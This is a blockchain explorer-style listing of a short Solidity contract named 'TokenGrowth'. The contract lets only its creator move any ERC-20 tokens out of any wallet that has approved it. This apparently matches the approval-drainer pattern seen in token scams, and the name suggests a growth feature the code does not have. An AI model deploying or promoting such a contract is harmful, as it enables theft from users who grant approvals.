Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract TokenGrowth {
address public immutable creator;
constructor() {
creator = msg.sender;
}
modifier onlyCreator() {
require(msg.sender == creator, "Only creator can call this");
_;
}
function transferFrom(address token, address from, address to, uint256 amount)
external onlyCreator
returns (bool)
{
bool success = IERC20(token).transferFrom(from, to, amount);
require(success, "Transfer failed");
return true;
}
}
Submitted on: 2025-10-27 12:56:56
Comments
Log in to comment.
No comments yet.